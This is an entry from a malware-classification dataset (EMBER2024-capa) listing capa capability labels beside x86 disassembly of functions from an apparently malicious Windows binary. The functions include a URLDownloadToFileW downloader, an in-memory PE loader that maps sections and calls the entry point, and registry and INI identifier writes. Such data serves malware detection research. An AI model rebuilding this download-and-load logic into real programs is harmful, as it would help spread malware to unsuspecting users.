joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41a800
Capabilities:
Get common file path
Get disk information

Disassembly:
sub esp, 0x63c
mov eax, dword [0x56b338]
xor eax, esp
mov dword [esp + 0x638], eax
xor eax, eax
push esi
xor esi, esi
push 0x206
mov dword [esp + 0x16], eax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov word [esp + 0x26], ax
lea eax, [esp + 0x2a]
push esi
push eax
mov word [esp + 0x1c], si
mov word [esp + 0x30], si
call fcn.00436020
add esp, 0xc
push 0x104
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 3
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.0042f42e
push 0x206
lea ecx, [esp + 0x446]
push esi
push ecx
mov word [esp + 0x44c], si
call fcn.00436020
push 0x206
lea edx, [esp + 0x24a]
push esi
push edx
mov word [esp + 0x250], si
call fcn.00436020
add esp, 0x24
push 0x104
lea eax, [esp + 0x230]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0x104
lea ecx, [esp + 0x44c]
push ecx
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x24], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x41a912
mov eax, dword [esp + 4]
push eax
push str._08X
push edi
call fcn.0042f46b
add esp, 0xc
pop esi
mov ecx, dword [esp + 0x638]
xor ecx, esp
call fcn.0042f3aa
add esp, 0x63c
ret
mov eax, 0x560d38
mov edx, edi
sub edx, eax
jmp 0x41a920
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, si
jne 0x41a920
mov ecx, dword [esp + 0x63c]
pop esi
xor ecx, esp
call fcn.0042f3aa
add esp, 0x63c
ret
Function at 0x41b950
Capabilities:
Check if file exists
Create directory
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x56b338]
xor eax, esp
mov dword [esp + 0x410], eax
push esi
xor esi, esi
push 0x206
lea eax, [esp + 0xa]
push esi
push eax
mov word [esp + 0x10], si
call fcn.00436020
push 0x206
lea ecx, [esp + 0x21e]
push esi
push ecx
mov word [esp + 0x224], si
call fcn.00436020
add esp, 0x18
push esi
push 0x2b
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [esp + 4]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, si
jne 0x41b9b0
mov ecx, dword [str._shiqiang_]
mov edx, dword [0x5631e0]
mov dword [eax], ecx
mov ecx, dword [0x5631e4]
mov dword [eax + 4], edx
mov edx, dword [0x5631e8]
mov dword [eax + 8], ecx
mov ecx, dword [0x5631ec]
mov dword [eax + 0xc], edx
mov dx, word [0x5631f0]
mov dword [eax + 0x10], ecx
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov word [eax + 0x14], dx
lea eax, [esp + 8]
push eax
call ebx
test eax, eax
jne 0x41ba11
push esi
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
jmp 0x41ba20
movzx ecx, word [esp + eax + 8]
mov word [esp + eax + 0x210], cx
add eax, 2
cmp cx, si
jne 0x41ba20
lea eax, [esp + 0x210]
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
cmp cx, si
jne 0x41ba40
mov edx, dword [str.wnsoft.ini]
mov ecx, dword [0x5631f8]
mov dword [eax], edx
mov edx, dword [0x5631fc]
mov dword [eax + 4], ecx
mov ecx, dword [0x563200]
mov dword [eax + 8], edx
mov edx, dword [0x563204]
mov dword [eax + 0xc], ecx
mov cx, word [0x563208]
mov dword [eax + 0x10], edx
lea edx, [esp + 8]
push edx
mov word [eax + 0x14], cx
call ebx
test eax, eax
pop ebx
je 0x41bb02
mov ecx, dword [edi]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
lea eax, [esp + 0x20c]
push eax
push ecx
push str.OnlyIdentifier1
push str.Globals
call esi
mov eax, dword [edi]
lea edx, [esp + 0x20c]
push edx
add eax, 0x208
push eax
push str.OnlyIdentifier2
push str.Globals
call esi
mov edx, dword [edi]
lea ecx, [esp + 0x20c]
push ecx
add edx, 0x410
push edx
push str.OnlyIdentifier3
push str.Globals
call esi
mov ecx, dword [edi]
lea eax, [esp + 0x20c]
push eax
add ecx, 0x618
push ecx
push str.OnlyIdentifier4
push str.Globals
call esi
mov ecx, dword [esp + 0x414]
pop esi
xor ecx, esp
call fcn.0042f3aa
add esp, 0x414
ret
Function at 0x41bb20
Capabilities:
Set registry value

Disassembly:
sub esp, 8
push esi
mov esi, eax
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.software
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41bc2b
mov edx, dword [esp + 8]
push eax
lea ecx, [esp + 8]
push ecx
push eax
push 0xf003f
push eax
push eax
push eax
push str.ShiQiang
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41bc2b
mov eax, dword [esi]
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
call edi
mov edx, dword [esi]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea ecx, [eax + eax + 2]
mov eax, dword [esp + 0xc]
push ecx
push edx
push 1
push 0
push str.OnlyIdentifier1
push eax
call ebx
mov ecx, dword [esi]
add ecx, 0x208
push ecx
call edi
mov ecx, dword [esp + 0xc]
lea edx, [eax + eax + 2]
mov eax, dword [esi]
push edx
add eax, 0x208
push eax
push 1
push 0
push str.OnlyIdentifier2
push ecx
call ebx
mov edx, dword [esi]
add edx, 0x410
push edx
call edi
mov ecx, dword [esi]
mov edx, dword [esp + 0xc]
lea eax, [eax + eax + 2]
push eax
add ecx, 0x410
push ecx
push 1
push 0
push str.OnlyIdentifier3
push edx
call ebx
mov eax, dword [esi]
add eax, 0x618
push eax
call edi
mov edx, dword [esi]
lea ecx, [eax + eax + 2]
mov eax, dword [esp + 0xc]
push ecx
add edx, 0x618
push edx
push 1
push 0
push str.OnlyIdentifier4
push eax
call ebx
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x41c0a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x51ee5b
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x56b338]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, dword [esp + 0x1c]
xor eax, eax
mov dword [esi], vtable.CHttpPageClient.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x4c], 0xf
mov dword [esi + 0x48], eax
mov byte [esi + 0x38], al
push 0x561434
push eax
mov byte [esi + 0x5c], al
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x58], eax
mov dword [esi + 0x30], 0x3c
mov dword [esi + 0x2c], 0x1e
call sym.SCWordSvcHost.exe_curl_slist_append
mov dword [esi + 0x50], eax
add esp, 8
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 4
Function at 0x41c240
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x51d7cb
mov eax, dword fs:[0]
push eax
sub esp, 8
push edi
mov eax, dword [0x56b338]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
push 0x54
call fcn.0042f1cf
add esp, 4
mov dword [esp + 0xc], eax
test eax, eax
mov dword [esp + 0x18], 0
je 0x41c286
push eax
call fcn.0041ce40
jmp 0x41c288
xor eax, eax
mov ecx, ebx
mov dword [esp + 0x18], 0xffffffff
mov dword [esi + 0x54], eax
lea edi, [ecx + 1]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x41c298
sub ecx, edi
push ecx
push ebx
lea ecx, [eax + 8]
call fcn.004054c0
mov eax, dword [esi + 0x54]
mov dword [eax + 4], 1
mov ecx, dword [esi + 0x54]
push 9
push str.GET_test1
add ecx, 0x34
call fcn.004054c0
lea ecx, [esi + 0x24]
push ecx
push 0
push esi
push 0x41c3f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
mov dword [esi + 0x28], eax
je 0x41c2fe
cmp eax, 0xffffffff
je 0x41c2fe
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esi + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
add esp, 0x14
ret

Function at 0x41c310
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x51ee2b
mov eax, dword fs:[0]
push eax
push ebp
push edi
mov eax, dword [0x56b338]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x1c]
push 0x54
call fcn.0042f1cf
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov dword [esp + 0x14], 0
je 0x41c358
push eax
call fcn.0041ce40
jmp 0x41c35a
xor eax, eax
mov ecx, ebp
mov dword [esp + 0x14], 0xffffffff
mov dword [esi + 0x54], eax
lea edi, [ecx + 1]
lea ebx, [ebx]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x41c370
sub ecx, edi
push ecx
push ebp
lea ecx, [eax + 8]
call fcn.004054c0
mov eax, dword [esi + 0x54]
mov dword [eax + 4], 0
mov ecx, dword [esi + 0x54]
push 9
push str.GET_test1
add ecx, 0x34
call fcn.004054c0
lea ecx, [esi + 0x24]
push ecx
push 0
push esi
push 0x41c3f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
mov dword [esi + 0x28], eax
je 0x41c3d6
cmp eax, 0xffffffff
je 0x41c3d6
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esi + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
add esp, 0xc
ret 4
Function at 0x426680
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x51cf7b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x56b338]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0042ea83
push 4
mov dword [esp + 0x20], 0
call fcn.0042f1cf
mov edi, eax
add esp, 4
test edi, edi
je 0x426700
call fcn.0042e914
mov dword [edi], eax
call fcn.0042e748
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.0042ea50
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4266f5
add eax, 1
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.0042ea71
jmp 0x426702
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x429340
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [0x56b338]
xor eax, esp
mov dword [esp + 8], eax
push ebp
mov ebp, dword [esp + 0x14]
test ebp, ebp
push esi
push edi
mov esi, ecx
mov edi, edx
jle 0x429432
add ebp, 0xffffffff
shr ebp, 3
add ebp, 1
lea ebx, [ebx]
movzx eax, byte [esi]
mov byte [edi], al
movzx ecx, byte [esi + 1]
mov byte [edi + 1], cl
movzx edx, byte [esi + 2]
mov byte [edi + 2], dl
movzx eax, byte [esi + 3]
mov byte [edi + 3], al
movzx ecx, byte [esi + 4]
mov byte [edi + 4], cl
movzx edx, byte [esi + 5]
mov byte [edi + 5], dl
movzx eax, byte [esi + 6]
mov byte [edi + 6], al
movzx ecx, byte [esi + 7]
mov byte [edi + 7], cl
mov eax, dword [esi + 4]
mov edx, dword [esi]
mov dword [esp + 0x10], eax
mov ecx, edi
lea eax, [ebx + 0x80]
mov dword [esp + 0xc], edx
call fcn.004289d0
movzx ecx, byte [ebx + 0x100]
xor byte [edi], cl
movzx edx, byte [ebx + 0x101]
xor byte [edi + 1], dl
movzx eax, byte [ebx + 0x102]
xor byte [edi + 2], al
movzx ecx, byte [ebx + 0x103]
xor byte [edi + 3], cl
movzx edx, byte [ebx + 0x104]
xor byte [edi + 4], dl
movzx eax, byte [ebx + 0x105]
xor byte [edi + 5], al
movzx ecx, byte [ebx + 0x106]
xor byte [edi + 6], cl
movzx edx, byte [ebx + 0x107]
xor byte [edi + 7], dl
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
add esi, 8
add edi, 8
sub ebp, 1
mov dword [ebx + 0x100], eax
mov dword [ebx + 0x104], ecx
jne 0x429370
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0042f3aa
add esp, 0xc
ret
Function at 0x42a900
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x51e442
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x56b338]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov edi, dword [esp + 0x28]
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov dword [edi], 0x563b98
mov dword [edi + 0x58], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
lea esi, [edi + 8]
push esi
mov dword [esp + 0x24], ebx
push edi
mov dword [esp + 0x1c], 1
call fcn.0042b650
mov dword [esp + 0x20], 1
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push esi
mov dword [edi + ecx], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
call fcn.00426680
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], bl
mov byte [esi + 0x41], bl
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [esi + 0x24]
mov dword [eax], ebx
mov ecx, dword [esi + 0x34]
mov dword [ecx], ebx
mov edx, dword [esi + 0x10]
mov dword [edx], ebx
mov eax, dword [esi + 0x20]
mov edx, dword [0x57ad04]
mov dword [eax], ebx
mov ecx, dword [esi + 0x30]
mov dword [ecx], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x44], edx
mov dword [esi + 0x3c], ebx
mov eax, dword [esp + 0x2c]
push eax
mov byte [esp + 0x24], 2
call fcn.0042b810
test eax, eax
jne 0x42aa01
mov ecx, dword [edi]
mov ecx, dword [ecx + 4]
mov eax, dword [ecx + edi + 8]
add ecx, edi
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x42a9f0
or eax, 4
and eax, 0x17
test dword [ecx + 0xc], eax
mov dword [ecx + 8], eax
je 0x42aa01
push ebx
call fcn.00420710
mov eax, edi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret 8
Function at 0x42c0d0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [eax]
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
push esi
lea esi, [ecx + eax + 0x18]
mov dword [esp + 8], 0
jbe 0x42c178
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x42c131
mov edx, dword [esp + 0x1c]
mov edi, dword [edx + 0x38]
test edi, edi
jle 0x42c15a
mov eax, dword [esi - 4]
push 4
push 0x1000
push edi
add eax, ebx
push eax
call ebp
push edi
push 0
push eax
mov dword [esi - 8], eax
call fcn.00436020
jmp 0x42c157
mov ecx, dword [esi - 4]
push 4
push 0x1000
push eax
add ecx, ebx
push ecx
call ebp
mov edx, dword [esi]
mov edi, eax
mov eax, dword [esi + 4]
add eax, dword [esp + 0x18]
push edx
push eax
push edi
call fcn.00434650
mov dword [esi - 8], edi
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx]
mov eax, dword [esp + 0x10]
movzx ecx, word [edx + 6]
add eax, 1
add esi, 0x28
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x42c102
pop edi
pop ebp
pop esi
pop ebx
pop ecx
ret

Function at 0x42c180
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [eax]
movzx ecx, word [ebx + 0x14]
push ebp
xor ebp, ebp
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x42c237
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x42c1d5
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x42c21d
test eax, 0x4000000
lea ecx, [edx + ecx*2]
lea edx, [esi + ecx*2]
mov esi, dword [edx*4 + 0x575140]
je 0x42c1ef
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x42c20a
test al, 0x40
je 0x42c201
mov ecx, dword [ebx + 0x20]
jmp 0x42c208
test al, al
jns 0x42c21d
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x42c21d
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
mov ebx, dword [edx]
movzx eax, word [ebx + 6]
add ebp, 1
add edi, 0x28
cmp ebp, eax
jl 0x42c1a2
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x42c3e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, dword [esp + 8]
cmp word [ebp], 0x5a4d
je 0x42c3f1
xor eax, eax
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0x3c]
add ebx, ebp
cmp dword [ebx], 0x4550
je 0x42c404
pop ebx
xor eax, eax
pop ebp
ret
mov eax, dword [ebx + 0x50]
mov ecx, dword [ebx + 0x34]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x2000
push eax
push ecx
call esi
mov edi, eax
test edi, edi
jne 0x42c43b
mov edx, dword [ebx + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
je 0x42c4f0
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 0x50]
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebx + 0x54]
add edx, dword [ebp + 0x3c]
mov dword [esp + 0x14], eax
push edx
push ebp
push eax
call fcn.00434650
mov eax, dword [ebp + 0x3c]
mov ecx, dword [esp + 0x20]
push esi
add eax, ecx
push ebx
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.0042c0d0
mov eax, edi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x42c4bd
push eax
mov eax, esi
call fcn.0042c240
add esp, 4
push esi
call fcn.0042c2c0
add esp, 4
test eax, eax
je 0x42c4eb
push esi
call fcn.0042c180
mov edx, dword [esi]
mov eax, dword [edx + 0x28]
add esp, 4
test eax, eax
je 0x42c4fe
add eax, edi
je 0x42c4eb
push 0
push 1
push edi
call eax
test eax, eax
jne 0x42c4f7
call fcn.0042c5b0
pop edi
pop esi
pop ebx
xor eax, eax
pop ebp
ret
mov dword [esi + 0x10], 1
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret
Function at 0x42e0a0
Capabilities:
Check if file exists
Delete file
Download url
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x51d148
mov eax, dword fs:[0]
push eax
sub esp, 0x20c
mov eax, dword [0x56b338]
xor eax, esp
mov dword [esp + 0x208], eax
push ebp
push esi
push edi
mov eax, dword [0x56b338]
xor eax, esp
push eax
lea eax, [esp + 0x21c]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x224], 0
mov eax, dword [esp + 0x230]
mov edi, 8
cmp dword [esp + 0x244], edi
jae 0x42e103
lea eax, [esp + 0x230]
mov ebp, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push eax
call ebp
test eax, eax
je 0x42e12e
cmp dword [esp + 0x244], edi
mov eax, dword [esp + 0x230]
jae 0x42e127
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [esp + 0x244], edi
mov eax, dword [esp + 0x230]
jae 0x42e145
lea eax, [esp + 0x230]
call fcn.0040c6a0
push 0x206
lea eax, [esp + 0x16]
push 0
push eax
mov word [esp + 0x1c], 0
call fcn.00436020
add esp, 0xc
mov eax, 0x98967f
mov ecx, 0xf4240
call fcn.0040ca30
cmp dword [esi + 0x18], edi
jb 0x42e17e
mov esi, dword [esi + 4]
jmp 0x42e181
add esi, 4
push eax
push esi
lea ecx, [esp + 0x18]
push str._s__d
push ecx
call fcn.0042f46b
mov eax, dword [esp + 0x240]
add esp, 0x10
cmp dword [esp + 0x244], edi
jae 0x42e1ac
lea eax, [esp + 0x230]
push 0
push 0
push eax
lea edx, [esp + 0x1c]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jl 0x42e1fc
cmp dword [esp + 0x244], edi
mov eax, dword [esp + 0x230]
jae 0x42e1d8
lea eax, [esp + 0x230]
push eax
call ebp
test eax, eax
je 0x42e1fc
cmp dword [esp + 0x244], edi
jb 0x42e1f8
mov eax, dword [esp + 0x230]
push eax
call fcn.0042f3a5
add esp, 4
mov al, 1
jmp 0x42e217
cmp dword [esp + 0x244], edi
jb 0x42e215
mov ecx, dword [esp + 0x230]
push ecx
call fcn.0042f3a5
add esp, 4
xor al, al
mov ecx, dword [esp + 0x21c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.0042f3aa
add esp, 0x218
ret 0x1c

Function at 0x42f3aa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x56b338]
jne 0x42f3b4
repz ret
jmp fcn.004364c6
Function at 0x4386b1
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x56b368]
je 0x4386cc
inc edi
cmp edi, 0x17
jb 0x4386bd
cmp edi, 0x17
jae 0x43884c
push ebp
push 3
call fcn.00444b96
cmp eax, 1
pop ecx
je 0x438818
push 3
call fcn.00444b96
test eax, eax
pop ecx
jne 0x438700
cmp dword [0x56b180], 1
je 0x438818
cmp ebx, 0xfc
je 0x43884b
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x575d48
push ebp
call fcn.00436461
add esp, 0xc
test eax, eax
je 0x438736
push esi
push esi
push esi
push esi
push esi
call fcn.0042f671
add esp, 0x14
push 0x104
mov esi, 0x575d61
push esi
push 0
mov byte [0x575e65], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x43877a
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00436461
add esp, 0xc
test eax, eax
je 0x43877a
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0042f671
add esp, 0x14
push esi
call fcn.00433940
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4387bf
push esi
call fcn.00433940
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x57605c
push 0x522524
sub ecx, eax
push ecx
push eax
call fcn.0043ca40
add esp, 0x14
test eax, eax
je 0x4387bf
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0042f671
add esp, 0x14
jmp 0x4387c1
xor esi, esi
push 0x522520
push ebx
push ebp
call fcn.0043c9cf
add esp, 0xc
test eax, eax
je 0x4387e1
push esi
push esi
push esi
push esi
push esi
call fcn.0042f671
add esp, 0x14
push dword [edi*8 + 0x56b36c]
push ebx
push ebp
call fcn.0043c9cf
add esp, 0xc
test eax, eax
je 0x438803
push esi
push esi
push esi
push esi
push esi
call fcn.0042f671
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.004449d9
add esp, 0xc
jmp 0x43884b
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x43884b
cmp ebp, 0xffffffff
je 0x43884b
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x56b36c]
push dword [esi]
call fcn.00433940
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret